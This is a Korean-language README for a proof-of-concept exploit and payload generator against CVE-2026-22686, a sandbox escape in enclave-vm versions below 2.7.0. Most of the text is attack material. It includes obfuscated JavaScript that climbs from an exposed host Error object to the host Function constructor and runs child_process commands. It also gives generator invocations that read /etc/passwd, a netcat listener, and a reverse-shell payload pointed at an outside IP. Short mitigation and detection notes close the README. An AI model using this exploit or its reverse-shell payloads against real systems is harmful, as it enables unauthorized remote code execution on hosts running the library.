
CVE-2026-22686에 대한 개념 증명 익스플로잇 및 페이로드 생성기로, enclave-vm <2.7.0의 샌드박스 탈출을 이용해 임의 코드 실행 및 리버스 셸을 가능하게 합니다.
CVE-2026-22686에 대한 개념 증명(PoC) 익스플로잇 및 페이로드 생성기입니다. 이 취약점은 enclave-vm 2.7.0 이전 버전에 존재하는 치명적인 샌드박스 탈출 취약점으로, 호스트 Node.js 런타임 내에서 임의 코드 실행을 가능하게 합니다.
⚠️ 면책 조항: 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 사전 서면 동의 없이 시스템에 사용하는 것은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
enclave-vm은 신뢰할 수 없는 코드를 통제된 환경 내에서 안전하게 실행하도록 설계된 JavaScript 샌드박싱 라이브러리입니다. < 2.7.0 버전에서는 호스트 측 오류 객체가 샌드박스에 노출되는 방식의 결함으로 인해, 공격자가 프로토타입 체인을 따라 올라가 호스트의 Function 생성자에 도달하여 샌드박스를 효과적으로 탈출할 수 있습니다.
이 저장소에는 다음이 포함되어 있습니다:
샌드박스 내 도구 호출이 실패하면, enclave-vm은 호스트 측 Error 객체를 샌드박스 코드에 다시 노출합니다. 이 오류 객체는 호스트 환경의 원래 프로토타입 체인을 유지하기 때문에, 공격자는 다음과 같이 체인을 따라 올라갈 수 있습니다:
Error 인스턴스
└── Error.prototype
└── Error 생성자
└── Function 생성자 ← 호스트 Function!
호스트 Function 생성자를 획득하면, 공격자는 호스트 런타임에서 임의의 JavaScript를 컴파일하고 실행할 수 있으며 — 샌드박스를 완전히 우회합니다.
익스플로잇은 다음 단계를 따릅니다:
callTool('NONEXISTENT', {})) 오류를 발생시킵니다.Error.prototype.constructor.constructor에 도달합니다. 이것이 호스트의 Function입니다.Function을 사용하여 컴파일하고 실행합니다.child_process를 로드하고 임의의 셸 명령을 실행합니다 (또는 리버스 셸을 생성합니다).모든 민감한 키워드 (constructor, __proto__, __lookupGetter__, prototype)는 단순한 정적 필터를 우회하기 위해 ASCII 문자 코드로 난독화되어 있습니다.
외부 의존성 없음 — Python 표준 라이브러리만 사용합니다.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
요구 사항:
python3 generator.py
다음과 같은 입력을 요청받습니다:
그런 다음 생성된 페이로드를 복사하여 취약한 샌드박스 입력에 붙여넣습니다.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
터미널 1 (공격자 — 리스너):
nc -lvnp 4444
터미널 2 (생성기):
python3 generator.py --revshell 10.10.15.152 4444
생성된 페이로드를 복사하여 샌드박스에 붙여넣습니다. 터미널 1에서 셸을 받아야 합니다.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
const s = (...args) => String.fromCharCode(...args);
런타임에 ASCII 코드 배열을 디코딩하는 작은 헬퍼입니다.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
단순한 문자열 기반 필터를 회피합니다.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // 호스트의 Function 생성자
const result = HostFunc(payload)(); // 임의 코드 실행
그런 다음 호스트 Function을 사용하여 child_process.execSync()를 통해 공격자의 명령을 실행합니다.
개발자용:
enclave-vm을 >= 2.7.0으로 업그레이드하세요.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).사용자 / 조직용:
탐지:
callTool('NONEXISTENT', __lookupGetter__, 쉼표로 구분된 정수 리터럴의 긴 배열, 또는 child_process / execSync를 포함하는 HTTP 요청이나 코드 제출을 찾으세요.
이 프로젝트는 교육 및 방어적 보안 연구 목적으로만 게시됩니다. 보안 연구원, 승인된 침투 테스터, CTF 플레이어를 대상으로 합니다.
소유하지 않았거나 명시적인 서면 승인이 없는 시스템에 이 도구를 사용하지 마세요. 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법이며 (미국의 CFAA, 영국의 Computer Misuse Act, 프랑스의 Article 323-1) 심각한 형사 처벌을 받을 수 있습니다.
이 소프트웨어를 사용함으로써, 귀하는 그 사용으로 인해 발생하는 어떠한 손해나 법적 결과에 대해서도 작성자가 책임지지 않음에 동의합니다.
child_process documentation이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 — 자세한 내용은 LICENSE 파일을 참조하세요.
enclave-vm 유지관리자Pull request를 환영합니다. 주요 변경 사항의 경우 먼저 이슈를 열어주세요.
제안된 개선 사항:
vm2, isolated-vm)| 필드 | 값 |
|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (치명적) |
| CWE | CWE-693 — 보호 메커니즘 실패 |
| 구성 요소 | enclave-vm |
| 영향 버전 | < 2.7.0 |
| 수정 버전 | 2.7.0 |
| 영향 | 샌드박스 탈출 → 임의 코드 실행 (RCE) |
| 플래그 | 설명 |
|---|
-c, --command | 실행할 셸 명령 |
--revshell LHOST LPORT | 리버스 셸 페이로드 생성 |
--raw | 페이로드만 출력 (배너, 장식 없음) |
--lang {fr,en} | 인터페이스 언어 강제 지정 |
-h, --help | 도움말 및 예제 표시 |